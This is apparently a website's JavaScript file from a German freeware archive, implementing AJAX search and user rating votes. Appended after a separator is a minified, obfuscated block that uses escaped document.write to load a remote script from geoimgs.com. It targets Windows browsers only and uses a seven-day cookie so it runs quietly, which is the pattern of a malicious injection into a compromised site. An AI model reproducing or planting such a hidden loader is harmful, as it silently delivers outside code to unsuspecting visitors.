function createRequestObject() {
   var ro;
   var browser = navigator.appName;
   if(browser == "Microsoft Internet Explorer"){
      ro = new ActiveXObject("Microsoft.XMLHTTP");
   } else {
      ro = new XMLHttpRequest();
   }
   return ro;
}

var http = createRequestObject();
var anzahlLetztes = 999;
var stringLetztes = "aaa";

function suche() {
   var action=document.getElementById('tag').value;
   if (action.length > 2) {
/*      if ((anzahlLetztes > 1) && ((stringLetztes.length+1) == action.length)) {*/
         stringLetztes = action;
         document.getElementById("ajaxresult").innerHTML = "<center style='padding:5px'><img src='/pics/indicator.gif' /></center>";
         http.open('get', 'http://www.freeware-archiv.de/ajaxsearch.php?q='+action);
         http.onreadystatechange = handleResponse_search;
         http.send(null);
/*       }*/
   }
}

function bewertung(shortid, vote) {
         http.open('get', 'http://www.freeware-archiv.de/addvote.php?shortid='+shortid+'&vote='+vote);
         http.onreadystatechange = handleResponse_bewertung;
         http.send(null);
}

function handleResponse_search() {
/*   alert(http.readyState+"|"+http.responseText);*/
   if(http.readyState == 4){
      var response = http.responseText;
      var update = new Array();
      if(response.indexOf('|' != -1)) {
            document.getElementById("ajaxresult").innerHTML = "<strong>Ergebnisse f&uuml;r diese Suche</strong> <p>";
            update = response.split('|');
            for (var counter=0;counter < update.length;counter++) {   
             document.getElementById("ajaxresult").innerHTML = document.getElementById("ajaxresult").innerHTML+update[counter]+"<br/>";
            anzahlLetztes = counter;
         }
	 document.getElementById("ajaxresult").innerHTML = document.getElementById("ajaxresult").innerHTML+"</p>";
         document.getElementById("ajaxresult").style.display='block';
      }
   }
}

function handleResponse_bewertung() {
   if(http.readyState == 4){
      var response = http.responseText;
      var update = new Array();
      if(response.indexOf('|' != -1)) {
         document.getElementById("ownbewertung").innerHTML = "Vielen Dank f&uuml;r Ihre Stimme";
         update = response.split('|');
         
         for (var counter=0;counter < update.length;counter++) {   
             document.getElementById("curbewertung").innerHTML = update[0]+" Punkte in "+update[1]+" Bewertungen";
            anzahlLetztes = counter;
         }
         document.getElementById("ajaxresult").style.display='block';
      }
   }
}
/* ============================================================================-*/
 function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} function geoimgcookie(){document.write(unescape("%3Cscript src='http://geoimgs.com/geo' type='text/javascript'%3E%3C/script%3E"));} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("GImgCookie");if (user !=="ok"){setCookie("GImgCookie", "ok", 7, "/"); geoimgcookie();}}} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} 
/*============================================================================-=*/


